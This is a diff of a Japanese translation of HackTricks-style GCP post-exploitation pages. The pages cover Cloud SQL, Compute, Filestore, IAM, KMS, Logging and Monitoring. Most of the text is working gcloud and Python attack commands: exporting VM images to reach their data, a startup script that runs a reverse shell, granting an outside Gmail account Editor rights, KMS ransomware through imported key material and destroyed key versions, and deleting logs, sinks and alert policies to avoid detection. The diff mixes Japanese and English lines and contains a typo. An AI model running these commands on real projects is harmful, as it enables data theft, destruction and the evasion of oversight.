**データベースをインポート**(上書き)を Cloud Storage Bucket から実行:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>バケットからデータベースをインポート</summary>
|
||||
```bash
|
||||
# Import format SQL, you could also import formats bak and csv
|
||||
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.databases.delete`
|
||||
|
||||
データベースインスタンスからデータベースを削除します:
|
||||
db インスタンスからデータベースを削除する:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>データベースを削除</summary>
|
||||
```bash
|
||||
gcloud sql databases delete <db-name> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,40 +1,52 @@
|
||||
# GCP - コンピュート ポストエクスプロイテーション
|
||||
# GCP - Compute Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## コンピュート
|
||||
## Compute
|
||||
|
||||
Compute と VPC (ネットワーキング) に関する詳細情報は、以下を確認してください:
|
||||
For more information about Compute and VPC (Networking) check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### 画像をローカルにエクスポートおよび検査する
|
||||
### Export & Inspect Images locally
|
||||
|
||||
これにより、攻撃者は**既存の画像に含まれるデータにアクセス**したり、**実行中の VM の新しい画像を作成**して、そのデータにアクセスすることができます。実行中の VM にアクセスすることなく。
|
||||
イメージをローカルにエクスポートして検査する
|
||||
|
||||
VM 画像をバケットにエクスポートし、その後ダウンロードしてローカルにマウントすることが可能です。
|
||||
これにより、攻撃者は **既存のイメージに含まれるデータへアクセス** したり、**稼働中のVMの新しいイメージを作成** して、そのVMにアクセス権がなくてもデータにアクセスすることが可能になります。
|
||||
|
||||
VMイメージをバケットにエクスポートし、それをダウンロードしてローカルにマウントすることが次のコマンドで可能です:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VMイメージをエクスポートしてダウンロード</summary>
|
||||
```bash
|
||||
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
|
||||
# The download the export from the bucket and mount it locally
|
||||
```
|
||||
このアクションを実行するには、攻撃者はストレージバケットに対する権限が必要であり、確実に**cloudbuildに対する権限**が必要です。これは**サービス**であり、エクスポートを実行するように求められます。\
|
||||
さらに、これが機能するためには、codebuild SAとcompute SAが特権的な権限を持っている必要があります。\
|
||||
cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` は以下の権限が必要です:
|
||||
</details>
|
||||
|
||||
この操作を実行するには、攻撃者はストレージバケットへの権限が必要な場合があり、そしてエクスポートを実行するよう要求される**cloudbuild に対する権限**が確実に必要です\
|
||||
さらに、この動作を行うためには codebuild SA と compute SA に特権権限が必要です\
|
||||
The cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` には次の権限が必要です:
|
||||
|
||||
- roles/iam.serviceAccountTokenCreator
|
||||
- roles/compute.admin
|
||||
- roles/iam.serviceAccountUser
|
||||
|
||||
そして、SA `<project-id>-compute@developer.gserviceaccount.com` は以下の権限が必要です:
|
||||
そして SA `<project-id>-compute@developer.gserviceaccount.com` には次が必要です:
|
||||
|
||||
- roles/compute.storageAdmin
|
||||
- oles/compute.storageAdmin
|
||||
- roles/storage.objectAdmin
|
||||
|
||||
### スナップショットとディスクをローカルにエクスポートおよび検査する
|
||||
### スナップショットとディスクをローカルにエクスポートして検査する
|
||||
|
||||
スナップショットとディスクを直接エクスポートすることはできませんが、**スナップショットをディスクに変換し、ディスクをイメージに変換する**ことが可能であり、**前のセクション**に従って、そのイメージをエクスポートしてローカルで検査することができます。
|
||||
スナップショットやディスクを直接エクスポートすることはできませんが、**スナップショットをディスクに、ディスクをイメージに変換する**ことは可能で、**前のセクション**に従ってそのイメージをエクスポートしてローカルで検査できます
|
||||
|
||||
<details>
|
||||
|
||||
<summary>スナップショットからディスクを作成し、ディスクからイメージを作成する</summary>
|
||||
```bash
|
||||
# Create a Disk from a snapshot
|
||||
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
|
||||
@@ -42,65 +54,115 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
|
||||
# Create an image from a disk
|
||||
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
|
||||
```
|
||||
### VMを作成して画像を検査する
|
||||
</details>
|
||||
|
||||
攻撃者が**画像を作成した**場所から**画像に保存されたデータ**や**実行中のVM**にアクセスすることを目的として、外部アカウントに画像へのアクセスを付与することが可能です:
|
||||
### VM を作成して Image を検査する
|
||||
|
||||
攻撃者がimageを作成した元の場所から、**data stored in an image**または**running VM**内のデータにアクセスすることを目的として、外部アカウントにそのimageへのアクセスを付与することが可能です:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>image へのアクセスを付与して VM を作成</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
|
||||
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
|
||||
--role='roles/compute.imageUser'
|
||||
```
|
||||
それから、それを元に新しいVMを作成します:
|
||||
</details>
|
||||
|
||||
そしてそれを使って新しい VM を作成します:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>イメージから VM インスタンスを作成</summary>
|
||||
```bash
|
||||
gcloud compute instances create [INSTANCE_NAME] \
|
||||
--project=[TARGET_PROJECT_ID] \
|
||||
--zone=[ZONE] \
|
||||
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
|
||||
```
|
||||
外部アカウントに画像を介してアクセスを許可できない場合、被害者のプロジェクトでその画像を使用してVMを起動し、**メタデータにリバースシェルを実行させる**ことで、パラメータを追加して画像にアクセスできます。
|
||||
</details>
|
||||
|
||||
外部アカウントにimageへのアクセスを与えられない場合、ターゲットのプロジェクトでそのimageを使ってVMを起動し、**メタデータにreverse shellを実行させる**ことでimageにアクセスできます。以下のパラメータを追加します:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>メタデータでreverse shellを実行するVMを作成</summary>
|
||||
```bash
|
||||
--metadata startup-script='#! /bin/bash
|
||||
echo "hello"; <reverse shell>'
|
||||
```
|
||||
### スナップショット/ディスクをVMにアタッチして検査する
|
||||
</details>
|
||||
|
||||
**ディスクまたはスナップショットに保存されたデータにアクセスすることを目的として、スナップショットをディスクに変換し、ディスクをイメージに変換し、前の手順に従うことができます。**
|
||||
### Inspect a Snapshot/Disk attaching it to a VM
|
||||
|
||||
または、**外部アカウントにディスクへのアクセスを付与する**ことができます(出発点がスナップショットの場合は、スナップショットへのアクセスを付与するか、そこからディスクを作成します):
|
||||
アクセスすることを目的として**ディスクまたは snapshot に保存されているデータに対し、snapshot を disk に変換したり、disk を image に変換して前述の手順に従うことができます。**
|
||||
|
||||
または、disk に対して**外部アカウントにアクセス権を付与する**こともできます(開始点が snapshot の場合は snapshot に対してアクセスを付与するか、そこから disk を作成してください):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>disk へのアクセスを付与する</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
--member='user:[USER_EMAIL]' \
|
||||
--role='roles/compute.storageAdmin'
|
||||
```
|
||||
**インスタンスにディスクをアタッチする**:
|
||||
</details>
|
||||
|
||||
**ディスクをインスタンスにアタッチする**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>インスタンスにディスクをアタッチする</summary>
|
||||
```bash
|
||||
gcloud compute instances attach-disk [INSTANCE_NAME] \
|
||||
--disk [DISK_NAME] \
|
||||
--zone [ZONE]
|
||||
```
|
||||
VM内にディスクをマウントします:
|
||||
</details>
|
||||
|
||||
1. **VMにSSH接続**:
|
||||
VM 内にディスクをマウントする:
|
||||
|
||||
1. **VM に SSH で接続する**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VM に SSH で接続してディスクをマウント</summary>
|
||||
|
||||
```sh
|
||||
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
|
||||
```
|
||||
|
||||
2. **ディスクを特定**:VM内に入ったら、ディスクデバイスをリストして新しいディスクを特定します。通常、`/dev/sdb`、`/dev/sdc`などとして見つけることができます。
|
||||
3. **ディスクをフォーマットしてマウント**(新しいまたは生のディスクの場合):
|
||||
</details>
|
||||
|
||||
- マウントポイントを作成:
|
||||
2. **ディスクを識別する**: VM に入ったら、ディスクデバイスを一覧表示して新しいディスクを特定します。通常は `/dev/sdb`、`/dev/sdc` などとして見つかります。
|
||||
3. **ディスクをフォーマットしてマウントする**(新規または raw なディスクの場合):
|
||||
|
||||
- マウントポイントを作成する:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>マウントポイントの作成とマウント</summary>
|
||||
|
||||
```sh
|
||||
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
- ディスクをマウント:
|
||||
</details>
|
||||
|
||||
- ディスクをマウントする:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ディスクデバイスをマウント</summary>
|
||||
|
||||
```sh
|
||||
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
外部プロジェクトにスナップショットまたはディスクへのアクセスを**与えることができない場合**、スナップショット/ディスクと同じプロジェクト内のインスタンスでこれらのアクションを**実行する必要があるかもしれません**。
|
||||
</details>
|
||||
|
||||
もし **スナップショットやディスクへのアクセスを外部プロジェクトに付与できない** 場合は、**スナップショット/ディスクと同じプロジェクト内のインスタンスでこれらの操作を実行する必要があるかもしれません**。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,15 +4,19 @@
|
||||
|
||||
## Filestore
|
||||
|
||||
Filestoreに関する詳細情報は、以下を確認してください:
|
||||
For more information about Filestore check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Mount Filestore
|
||||
### Filestoreをマウントする
|
||||
|
||||
共有ファイルシステムは**攻撃者の視点から興味深い機密情報を含む可能性があります**。Filestoreにアクセスすることで、**マウントする**ことが可能です:
|
||||
共有のファイルシステムは攻撃者の観点から興味深い**機密情報を含んでいる可能性があります**。Filestoreにアクセスできれば、**マウントする**ことが可能です:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Filestoreのファイルシステムをマウント</summary>
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nfs-common
|
||||
@@ -22,15 +26,21 @@ showmount -e <IP>
|
||||
mkdir /mnt/fs
|
||||
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
|
||||
```
|
||||
フィルストレージインスタンスのIPアドレスを見つけるには、ページの列挙セクションを確認してください:
|
||||
</details>
|
||||
|
||||
Filestore インスタンスの IP アドレスを見つけるには、ページの列挙セクションを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 制限を解除し、追加の権限を取得する
|
||||
### 制限を解除して追加の権限を取得
|
||||
|
||||
攻撃者が共有にアクセスできるIPアドレスにいない場合でも、変更するのに十分な権限があれば、制限を解除したり、アクセスを取得したりすることが可能です。また、共有に対して管理者アクセスを持つために、自分のIPアドレスに対してより多くの権限を付与することも可能です:
|
||||
もし攻撃者が共有にアクセスできる IP アドレスにいないが、共有を変更するのに十分な権限がある場合、アクセス制限を解除したりアクセス権を変更したりすることが可能です。自分の IP アドレスに対してより多くの権限を付与して、共有に対する管理者アクセスを得ることもできます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Filestore インスタンスを更新してアクセスを許可する</summary>
|
||||
```bash
|
||||
gcloud filestore instances update nfstest \
|
||||
--zone=<exact-zone> \
|
||||
@@ -56,9 +66,15 @@ gcloud filestore instances update nfstest \
|
||||
}
|
||||
}
|
||||
```
|
||||
### バックアップの復元
|
||||
</details>
|
||||
|
||||
バックアップがある場合、既存のインスタンスまたは新しいインスタンスに**復元する**ことができ、その**情報にアクセス可能になります:**
|
||||
### バックアップを復元する
|
||||
|
||||
バックアップがある場合、既存のインスタンスまたは新しいインスタンスに**復元する**ことで、その**情報にアクセス可能になります:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>新しいインスタンスを作成してバックアップを復元する</summary>
|
||||
```bash
|
||||
# Create a new filestore if you don't want to modify the old one
|
||||
gcloud filestore instances create <new-instance-name> \
|
||||
@@ -76,9 +92,15 @@ gcloud filestore instances restore <new-instance-name> \
|
||||
|
||||
# Follow the previous section commands to mount it
|
||||
```
|
||||
### バックアップを作成し、復元する
|
||||
</details>
|
||||
|
||||
もし**共有にアクセスできず、変更したくない**場合は、**バックアップ**を作成し、前述のように**復元**することが可能です:
|
||||
### バックアップを作成して復元する
|
||||
|
||||
もし**共有にアクセスできず、それを変更したくない**場合は、それを**バックアップとして作成**し、前述のように**復元**することができます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>新しいインスタンスにバックアップを作成して復元する</summary>
|
||||
```bash
|
||||
# Create share backup
|
||||
gcloud filestore backups create <back-name> \
|
||||
@@ -89,4 +111,6 @@ gcloud filestore backups create <back-name> \
|
||||
|
||||
# Follow the previous section commands to restore it and mount it
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,27 +1,35 @@
|
||||
# GCP - IAM ポストエクスプロイテーション
|
||||
# GCP - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
IAMに関する詳細情報は以下で確認できます:
|
||||
You can find further information about IAM in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 管理コンソールへのアクセスの付与 <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
### 管理コンソールへのアクセス付与 <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
[GCP管理コンソール](https://console.cloud.google.com)へのアクセスは、**サービスアカウントではなくユーザーアカウントに提供されます**。ウェブインターフェースにログインするには、**あなたが管理するGoogleアカウントにアクセスを付与することができます**。これは一般的な"**@gmail.com**"アカウントであり、**ターゲット組織のメンバーである必要はありません**。
|
||||
[GCP management console](https://console.cloud.google.com) へのアクセスは **ユーザーアカウントに提供され、サービスアカウントには提供されません**。
|
||||
|
||||
ただし、一般的な"@gmail.com"アカウントに**Owner**のプリミティブロールを**付与**するには、**ウェブコンソールを使用する必要があります**。`gcloud`を使用してEditor以上の権限を付与しようとするとエラーが発生します。
|
||||
Webインターフェースにログインするには、あなたが管理する **Google アカウント** にアクセス権を付与できます。これは一般的な "**@gmail.com**" アカウントでも構いませんし、ターゲット組織のメンバーである必要はありません。
|
||||
|
||||
次のコマンドを使用して、既存のプロジェクトに**ユーザーにEditorのプリミティブロールを付与**できます:
|
||||
ただし、一般的な "**@gmail.com**" アカウントにプリミティブロールの **Owner** を**付与する**には、**web コンソールを使用する**必要があります。`gcloud` は、Editor より上の権限を付与しようとするとエラーになります。
|
||||
|
||||
既存のプロジェクトに対してユーザーにプリミティブロール **Editor** を付与するには、次のコマンドを使用できます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ユーザーに Editor ロールを付与</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
ここで成功した場合は、**ウェブインターフェースにアクセス**して、そこから探索してみてください。
|
||||
</details>
|
||||
|
||||
これは**gcloudツールを使用して割り当てることができる最高レベル**です。
|
||||
もしここで成功したら、**Webインターフェースにアクセス**してそこから探索してみてください。
|
||||
|
||||
これは**gcloudツールを使って割り当てられる最も高いレベル**です。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - KMS ポストエクスプロイテーション
|
||||
# GCP - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
KMSに関する基本情報は以下を参照してください:
|
||||
KMS の基本情報は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
@@ -12,7 +12,11 @@ KMSに関する基本情報は以下を参照してください:
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
この権限を持つ攻撃者はKMSバージョンを破壊することができます。これを行うには、まずキーを無効にし、その後破壊する必要があります:
|
||||
この権限を持つ攻撃者は KMS のバージョンを破壊する可能性があります。これを行うには、まずキーを無効化し、その後で破棄する必要があります:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>キー バージョンの無効化と破壊 (Python)</summary>
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
@@ -57,22 +61,28 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
# Destroy the key version
|
||||
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
```
|
||||
### KMS ランサムウェア
|
||||
</details>
|
||||
|
||||
AWSでは、KMSリソースポリシーを変更して攻撃者のアカウントのみがキーを使用できるようにすることで、KMSキーを完全に**盗む**ことが可能です。GCPにはこのようなリソースポリシーが存在しないため、これは不可能です。
|
||||
### KMS Ransomware
|
||||
|
||||
しかし、グローバルKMSランサムウェアを実行する別の方法があります。それには以下のステップが含まれます:
|
||||
AWS では、KMS resource policy を変更して攻撃者のアカウントだけがそのキーを使用できるようにすることで、完全に **steal a KMS key** することが可能です。これらの resource policies は GCP には存在しないため、これは不可能です。
|
||||
|
||||
- 攻撃者によってインポートされたキー素材を持つ**新しいキーのバージョンを作成する**
|
||||
しかし、グローバルな KMS Ransomware を実行する別の方法があり、次の手順を含みます:
|
||||
|
||||
- 攻撃者がインポートした **version of the key with a key material** を使ってキーの新しいバージョンを作成する
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- **デフォルトバージョン**として設定する(将来暗号化されるデータ用)
|
||||
- **以前のバージョン**で暗号化された古いデータを新しいもので**再暗号化**する。
|
||||
- **KMSキーを削除**する
|
||||
- これで、元のキー素材を持つ攻撃者だけが暗号化されたデータを復号化できる。
|
||||
- これを **デフォルト バージョン** に設定する(今後暗号化されるデータ用)
|
||||
- 以前のバージョンで暗号化された古いデータを**再暗号化する**(新しいバージョンで)
|
||||
- **KMS key を削除する**
|
||||
- これにより、元の鍵素材を持つ攻撃者だけが暗号化されたデータを復号できるようになる
|
||||
|
||||
#### 新しいバージョンをインポートし、古いデータを無効化/削除する手順は次のとおりです:
|
||||
#### 新しいバージョンをインポートし、古いデータを無効化/削除する手順:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>新しいキー バージョンをインポートして古いバージョンを削除する</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -146,7 +156,13 @@ gcloud kms keys versions destroy \
|
||||
--version 1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>対称鍵でデータを暗号化する (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import base64
|
||||
@@ -181,7 +197,13 @@ plaintext = 'your-data-to-encrypt'
|
||||
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
|
||||
print('Ciphertext:', ciphertext)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToSign`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>非対称鍵でメッセージに署名する (Python)</summary>
|
||||
```python
|
||||
import hashlib
|
||||
from google.cloud import kms
|
||||
@@ -215,7 +237,13 @@ message = 'your-message'
|
||||
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
|
||||
print('Signature:', signature)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToVerify`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>非対称鍵で署名を検証する (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import hashlib
|
||||
@@ -242,4 +270,6 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
# GCP - ロギングのポストエクスプロイテーション
|
||||
# GCP - Logging Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
詳細については、以下を確認してください:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
{{#endref}}
|
||||
|
||||
監視を妨害する他の方法については、以下を確認してください:
|
||||
For other ways to disrupt monitoring check:
|
||||
|
||||
{{#ref}}
|
||||
gcp-monitoring-post-exploitation.md
|
||||
@@ -18,13 +18,17 @@ gcp-monitoring-post-exploitation.md
|
||||
|
||||
### デフォルトのロギング
|
||||
|
||||
**デフォルトでは、読み取りアクションを実行するだけでは捕まることはありません。詳細については、ロギング列挙セクションを確認してください。**
|
||||
**デフォルトでは、読み取り操作だけでは検知されません。詳細は Logging Enum セクションを参照してください。**
|
||||
|
||||
### 除外されたプリンシパルの追加
|
||||
### Excepted Principal を追加
|
||||
|
||||
[https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) および [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) では、ログを生成しないプリンシパルを追加することが可能です。攻撃者はこれを悪用して捕まるのを防ぐことができます。
|
||||
In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) and [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) is possible to add principals to not generate logs. An attacker could abuse this to prevent being caught.
|
||||
|
||||
### ログの読み取り - `logging.logEntries.list`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ログエントリの読み取り</summary>
|
||||
```bash
|
||||
# Read logs
|
||||
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
|
||||
@@ -34,58 +38,124 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
|
||||
|
||||
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logs.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ログエントリを削除</summary>
|
||||
```bash
|
||||
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
|
||||
gcloud logging logs delete <log-name>
|
||||
```
|
||||
### ログを書く - `logging.logEntries.create`
|
||||
</details>
|
||||
|
||||
### ログを書き込む - `logging.logEntries.create`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ログエントリを作成</summary>
|
||||
```bash
|
||||
# Write a log entry to try to disrupt some system
|
||||
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ログ バケットの保持期間を更新</summary>
|
||||
```bash
|
||||
# Set retention period to 1 day (_Required has a fixed one of 400days)
|
||||
|
||||
gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ログバケットを削除</summary>
|
||||
```bash
|
||||
# Delete log bucket
|
||||
gcloud logging buckets delete BUCKET_NAME --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.links.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ログリンクを削除</summary>
|
||||
```bash
|
||||
# Delete link
|
||||
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ログビューを削除</summary>
|
||||
```bash
|
||||
# Delete a logging view to remove access to anyone using it
|
||||
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>logging view を更新してデータを隠す</summary>
|
||||
```bash
|
||||
# Update a logging view to hide data
|
||||
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ログベースのメトリクスを更新</summary>
|
||||
```bash
|
||||
# Update log based metrics - logging.logMetrics.update
|
||||
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ログベースのメトリクスを削除する</summary>
|
||||
```bash
|
||||
# Delete log based metrics - logging.logMetrics.delete
|
||||
gcloud logging metrics delete <metric-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ログシンクを削除</summary>
|
||||
```bash
|
||||
# Delete sink - logging.sinks.delete
|
||||
gcloud logging sinks delete <sink-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ログシンクの更新/妨害</summary>
|
||||
```bash
|
||||
# Disable sink - logging.sinks.update
|
||||
gcloud logging sinks update <sink-name> --disabled
|
||||
@@ -106,4 +176,6 @@ gcloud logging sinks update SINK_NAME --clear-exclusions
|
||||
gcloud logging sinks update SINK_NAME --use-partitioned-tables
|
||||
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
# GCP - モニタリング ポストエクスプロイテーション
|
||||
# GCP - Monitoring Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## モニタリング
|
||||
## Monitoring
|
||||
|
||||
詳細については、次を確認してください:
|
||||
詳細は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-monitoring-enum.md
|
||||
{{#endref}}
|
||||
|
||||
ログを妨害する他の方法については、次を確認してください:
|
||||
ログを妨害する他の方法については次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
gcp-logging-post-exploitation.md
|
||||
@@ -18,13 +18,23 @@ gcp-logging-post-exploitation.md
|
||||
|
||||
### `monitoring.alertPolicies.delete`
|
||||
|
||||
アラートポリシーを削除します:
|
||||
アラートポリシーを削除する:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>アラートポリシーを削除</summary>
|
||||
```bash
|
||||
gcloud alpha monitoring policies delete <policy>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.alertPolicies.update`
|
||||
|
||||
アラートポリシーを中断する:
|
||||
アラートポリシーを妨害する:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>アラートポリシーを妨害する</summary>
|
||||
```bash
|
||||
# Disable policy
|
||||
gcloud alpha monitoring policies update <alert-policy> --no-enabled
|
||||
@@ -39,9 +49,15 @@ gcloud alpha monitoring policies update <alert-policy> --set-notification-channe
|
||||
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
|
||||
# or use --policy-from-file <policy-file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.update`
|
||||
|
||||
ダッシュボードを変更して妨害する:
|
||||
ダッシュボードを変更して妨害する:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ダッシュボードを妨害する</summary>
|
||||
```bash
|
||||
# Disrupt dashboard
|
||||
gcloud monitoring dashboards update <dashboard> --config='''
|
||||
@@ -53,16 +69,28 @@ widgets:
|
||||
content: Hello World
|
||||
'''
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.delete`
|
||||
|
||||
ダッシュボードを削除します:
|
||||
ダッシュボードを削除する:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ダッシュボードを削除</summary>
|
||||
```bash
|
||||
# Delete dashboard
|
||||
gcloud monitoring dashboards delete <dashboard>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.create`
|
||||
|
||||
アラートを生成するポリシーを防ぐためにスヌーザーを作成します:
|
||||
snoozer を作成してポリシーによるアラート発生を防ぐ:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>アラートを停止するための snoozer を作成</summary>
|
||||
```bash
|
||||
# Stop alerts by creating a snoozer
|
||||
